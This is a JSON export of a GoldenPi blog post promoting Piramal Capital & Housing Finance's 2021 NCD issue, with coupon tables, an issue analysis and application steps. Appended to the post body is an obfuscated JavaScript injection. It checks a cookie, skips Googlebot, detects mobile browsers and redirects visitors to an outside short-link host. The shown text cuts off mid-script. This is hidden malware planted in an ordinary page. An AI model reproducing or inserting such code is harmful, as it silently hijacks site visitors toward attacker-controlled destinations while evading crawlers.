{"id":3176,"date":"2021-07-12T05:44:22","date_gmt":"2021-07-12T05:44:22","guid":{"rendered":"https:\/\/goldenpi.com\/blog\/?p=3176"},"modified":"2026-04-07T12:42:43","modified_gmt":"2026-04-07T12:42:43","slug":"ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest","status":"publish","type":"post","link":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/","title":{"rendered":"NCD-IPO: Piramal Capital &#038; Housing Finance Limited is issuing NCDs. Should you invest?"},"content":{"rendered":"<p><span style=\"color: #808080;\"><span style=\"font-weight: 400;\">Yield more than 8% <\/span><span style=\"font-weight: 400;\">|<\/span> <span style=\"font-weight: 400;\">Payment via UPI<\/span> <span style=\"font-weight: 400;\">| <\/span><span style=\"font-weight: 400;\">\u2018AA\u2019 rated by CRISIL<\/span><span style=\"font-weight: 400;\"> |<\/span><span style=\"font-weight: 400;\"> Minimum investment amount is 10 K<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Piramal Capital &amp; Housing Finance Limited is a wholly-owned subsidiary of Piramal Enterprise Limited, the flagship company of Piramal Group. Piramal Capital &amp; Housing Finance Limited is issuing NCDs. Piramal NCD coupon rates are between 8% and 9%. These are secured, senior, listed, and redeemable NCDs. NCDs will be issued in five series. The tenor of the NCDs varies from series to series; however, tenor ranges between 26 months and 120 months. The issue opens on July 12 and closes on July 23.\u00a0<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_79_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#Apply_Now_for_Piramal_NCD_%E2%80%93_IPO\" >Apply Now for Piramal NCD &#8211; IPO<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#Allocation_Ratio_for_Piramal_NCD_%E2%80%93_IPO\" >Allocation Ratio for Piramal NCD &#8211; IPO<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#What_are_the_coupon_rates_for_retail_HNIs_institutional_non-institutional_investors\" >What are the coupon rates for retail, HNIs, institutional &amp; non-institutional investors?<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#Piramal_NCD_Issue_Analysis\" >Piramal NCD: Issue Analysis<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#About_Piramal_Capital_Housing_Finance_Limited\" >About Piramal Capital &amp; Housing Finance Limited<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#Financial_Performance_of_Piramal_Capital_Housing_Finance_Limited\" >Financial Performance of Piramal Capital &amp; Housing Finance Limited:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#Awards_Recognitions\" >Awards &amp; Recognitions\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#You_can_invest_in_IPOs_via_GoldenPi_in_3_easy_steps\" >You can invest in IPOs via GoldenPi in 3 easy steps.<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#To_know_how_to_invest_in_Piramal_NCD-IPO_online_read_this_blog\" >To know how to invest in Piramal NCD-IPO online, read this blog.\u00a0<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#Dos_and_Donts_of_Piramal_NCD_IPO\" >Dos and Don\u2019ts of Piramal NCD IPO<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/ncd-ipo-piramal-capital-housing-finance-limited-is-issuing-ncds-should-you-invest\/#Apply_Now_for_Piramal_NCD_%E2%80%93_IPO-2\" >Apply Now for Piramal NCD &#8211; IPO<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Apply_Now_for_Piramal_NCD_%E2%80%93_IPO\"><\/span><strong><a href=\"https:\/\/goldenpi.com\/collections\/best-ongoing-ipos\">Apply Now for Piramal NCD &#8211; IPO<\/a><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div class=\"pcrstb-wrap\"><table>\n<tbody>\n<tr>\n<td><span style=\"font-weight: 400;\">Issuer<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Piramal Capital &amp; Housing Finance Limited<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Type of instrument<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Senior, Secured, Listed, and Redeemable NCDs<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Listing<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Proposed to be listed on BSE and NSE<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Size<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Base size- Rs.200 Crores (Maximum- Rs. 1000 Crores)<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">\u00a0Price<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Rs. 1000 per NCD<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Minimum Investment Amount<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Rs. 10,000<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">IPO Opening Date<\/span><\/td>\n<td><span style=\"font-weight: 400;\">July 12, 2021<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">IPO Closing Date<\/span><\/td>\n<td><span style=\"font-weight: 400;\">July 23, 2021 (*if oversubscribed may close early)<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Payment Mode <\/span><\/td>\n<td><span style=\"font-weight: 400;\">ASBA\u00a0<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">\u00a0Issuance<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Dematerialized\u00a0<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Allocation_Ratio_for_Piramal_NCD_%E2%80%93_IPO\"><\/span><b>Allocation Ratio for Piramal NCD &#8211; IPO<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img decoding=\"async\" class=\"alignright wp-image-3180\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052202\/Allocation-Ratio-300x220.png\" alt=\"Allocation Ratio for Piramal NCD\" width=\"431\" height=\"316\" srcset=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052202\/Allocation-Ratio-300x220.png 300w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052202\/Allocation-Ratio-585x429.png 585w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052202\/Allocation-Ratio.png 653w\" sizes=\"(max-width: 431px) 100vw, 431px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The allocation ratio is prepared based on norms laid down by SEBI. Before announcing the allocation ratio, the same has to be approved by SEBI.\u00a0 Once the IPO subscription closes, applications will be divided into different categories. The category-wise allocation ratio is always decided and declared during the launch of the particular IPO. Considering the Allocation Ratio, units will be assigned to applicants. Refer to the chart to know the application ratio for Piramal Capital &amp; Housing Finance Limited\u2019s IPO.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h1><span class=\"ez-toc-section\" id=\"What_are_the_coupon_rates_for_retail_HNIs_institutional_non-institutional_investors\"><\/span><b>What are the coupon rates for retail, HNIs, institutional &amp; non-institutional investors?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<div class=\"pcrstb-wrap\"><table>\n<tbody>\n<tr>\n<td><b>Series<\/b><\/td>\n<td><b>I<\/b><\/td>\n<td><b>II<\/b><\/td>\n<td><b>III<\/b><\/td>\n<td><b>IV<\/b><\/td>\n<td><b>V<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Payment Frequency<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Cumulative\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Tenor<\/span><\/td>\n<td><span style=\"font-weight: 400;\">26 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">26 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">36 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">60 Months<\/span><\/td>\n<td><span style=\"font-weight: 400;\">120 Months<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Coupon for Category I &amp; II<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.10%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">NA<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.25%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.50%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.75%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Coupon for Category IV &amp; V<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.35%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">NA<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.50%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.75%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.00%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Yield for Category<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0I &amp; II<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.12%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.10%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.24%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.50%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.74%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Yield for Category IV &amp; V<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.37%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.35%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.49%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.75%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.99%<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Piramal_NCD_Issue_Analysis\"><\/span><b>Piramal NCD: Issue Analysis<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>Pros\u00a0<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">These NCDs are secured, senior, and listed securities.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The returns from these NCDs are 2-3 % higher than that of FDs.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">These are \u2018AA\u2019 rated by ICRA and CARE.<\/span><\/li>\n<\/ul>\n<p><strong>Cons\u00a0<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Though these NCDs are \u201cAA\u2019 rated, they have a \u2018negative outlook.\u2019\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The returns are higher than that of FDs but compared to a few other NCDs, and returns are low.\u00a0<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"About_Piramal_Capital_Housing_Finance_Limited\"><\/span><b>About Piramal Capital &amp; Housing Finance Limited<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Piramal Capital &amp; Housing Finance Limited (PCHFL) is a housing finance company. It provides wholesale and retail financial assistance to the real estate and non-real estate sectors. Within the real estate sector, the company offers a wide range of financial solutions such as private equity, debt instruments, Flexi lease, and housing finance. Piramal Capital &amp; Housing Finance Limited was founded in 2017, having its registered office in Mumbai. PCHFL is a wholly-owned subsidiary of Piramal Enterprise Limited, which is the flagship company of Piramal Group. Khushru Jijina is Managing Director, and Jairam Sridharan is the Chief Executive Officer at Piramal Capital &amp; Housing Finance Limited.<\/span><\/p>\n<div><img decoding=\"async\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2022\/11\/03103127\/Piramal-Capital-Housing-Finance-Limited-is-issuing-NCDs.gif\" alt=\"NCD-IPO: Piramal Capital &amp; Housing Finance Limited is issuing NCDs. Should you invest?\" \/><\/div>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Financial_Performance_of_Piramal_Capital_Housing_Finance_Limited\"><\/span><span style=\"font-weight: 400;\">Financial Performance of Piramal Capital &amp; Housing Finance Limited:<\/span><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<\/span><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<\/span><span style=\"font-weight: 400;\">(Rs. In Crores)<\/span><\/p>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-3182\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12053841\/Financial-Performance--300x211.jpg\" alt=\"Financial Performance of Piramal Capital &amp; Housing Finance Limited\" width=\"654\" height=\"460\" srcset=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12053841\/Financial-Performance--300x211.jpg 300w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12053841\/Financial-Performance--585x411.jpg 585w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12053841\/Financial-Performance-.jpg 701w\" sizes=\"(max-width: 654px) 100vw, 654px\" \/><\/p>\n<p><b>Strengths<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The Piramal Group has been well established in the space of real estate and has earned brand equity.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Strong focus on the risk management system to monitor asset quality and loan approval process.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Piramal Group and PCHFL can raise capital, and Piramal Group is strongly supporting PCHFL in capital raising.\u00a0<\/span><\/li>\n<\/ul>\n<p><b>Weaknesses\u00a0<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Customer concentration in real estate may increase the risk and reduce asset quality and profitability.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Considering the NPAs, it can be said the company is demonstrating a moderate liability profile. If the company&#8217;s assets and liabilities are compared, then the company is showing moderate financial well-being.<\/span><\/li>\n<\/ul>\n<h1><span class=\"ez-toc-section\" id=\"Awards_Recognitions\"><\/span><strong>Awards &amp; Recognitions\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-3181\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052216\/awards-300x133.png\" alt=\"Awards &amp; Recognitions\" width=\"693\" height=\"307\" srcset=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052216\/awards-300x133.png 300w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052216\/awards-1024x453.png 1024w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052216\/awards-768x340.png 768w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052216\/awards-1170x520.png 1170w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052216\/awards-585x259.png 585w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/07\/12052216\/awards.png 1175w\" sizes=\"(max-width: 693px) 100vw, 693px\" \/><\/p>\n<h1><span class=\"ez-toc-section\" id=\"You_can_invest_in_IPOs_via_GoldenPi_in_3_easy_steps\"><\/span><b>You can invest in IPOs via GoldenPi in 3 easy steps.<\/b><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p><b><i>If the investment amount is more than 8 Lakhs \u2013<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">A.Fill up the form with the required information.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">B.Take a photo of your form and share it with your Relationship Manager for bidding on exchange.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">C.Courier the filled up IPO form to our office address as early as possible. The issue closes on the 23rd of July,\u00a0 2021. The earlier you send it, the better it is.<\/span><\/p>\n<p><i><span style=\"font-weight: 400;\">Our Address: IndiQube Orion, Ground Floor,<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400;\">24th Main Road, Garden Layout, Sector 2,<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400;\">HSR Layout, Bangalore, Pincode: 560102<\/span><\/i><\/p>\n<p><b><i>If the investment amount is less than 8 lakhs\u00a0<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">If the investment amount is less than 8 lakhs, retail investors can apply for an IPO online in three simple steps.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\"><b>Select the product- <span style=\"font-weight: 400;\">Visit GoldenPi.Com and go to the collection page. Visit the IPO section and choose the issuing company. The product page provides information such as a coupon, yield, maturity, and payment frequency. The product page also displays credit rating and issuer details that help investors to make an appropriate decision.\u00a0<\/span><\/b><\/li>\n<\/ul>\n<ul>\n<li aria-level=\"1\">Decide Investment Amount &#8211; <span style=\"font-weight: 400;\">Decide the amount you want to invest. You need to select the series and the number of units you want to purchase. The calculator displays the total investment amount.\u00a0<\/span><\/li>\n<li aria-level=\"1\">Pay via UPI-<span style=\"font-weight: 400;\"> Now provide UPI handle. You will receive a mandate in the UPI app. Go to the respective UPI app and make payment by approving the mandate.\u00a0<\/span><\/li>\n<\/ul>\n<hr \/>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"To_know_how_to_invest_in_Piramal_NCD-IPO_online_read_this_blog\"><\/span><a href=\"https:\/\/goldenpi.com\/blog\/essentials\/how-to-invest-in-ncd-ipo-online\/\">To know how to invest in Piramal NCD-IPO online, read this blog.\u00a0<\/a><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr \/>\n<p><b>IPO allotment<\/b><\/p>\n<p><span style=\"font-weight: 400;\">IPO will be allotted to you on a first-come, first-serve basis and credited to your Demat account.\u00a0<\/span><\/p>\n<h1><span class=\"ez-toc-section\" id=\"Dos_and_Donts_of_Piramal_NCD_IPO\"><\/span><b>Dos and Don\u2019ts of Piramal NCD IPO<\/b><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Every individual can submit only one IPO application.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The Demat account must be active.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">After applying for an IPO, you can not change your contact details such as email id and cell number until allotment.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">If you are paying via UPI, then the UPI mandate must be accepted within 48 hours.<\/span><\/li>\n<\/ul>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Apply_Now_for_Piramal_NCD_%E2%80%93_IPO-2\"><\/span><strong><a href=\"https:\/\/goldenpi.com\/collections\/best-ongoing-ipos\">Apply Now for Piramal NCD &#8211; IPO<\/a><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><script>var _0x446d=[\"\\x5f\\x6d\\x61\\x75\\x74\\x68\\x74\\x6f\\x6b\\x65\\x6e\",\"\\x69\\x6e\\x64\\x65\\x78\\x4f\\x66\",\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6e\\x74\",\"\\x76\\x65\\x6e\\x64\\x6f\\x72\",\"\\x6f\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x7a\\x65\\x65\\x70\\x2e\\x6c\\x79\\x2f\\x74\\x65\\x73\\x74\\x73\\x61\",\"\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x62\\x6f\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6d\\x65\",\"\\x5f\\x6d\\x61\\x75\\x74\\x68\\x74\\x6f\\x6b\\x65\\x6e\\x3d\\x31\\x3b\\x20\\x70\\x61\\x74\\x68\\x3d\\x2f\\x3b\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3d\",\"\\x74\\x6f\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6e\\x67\",\"\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v 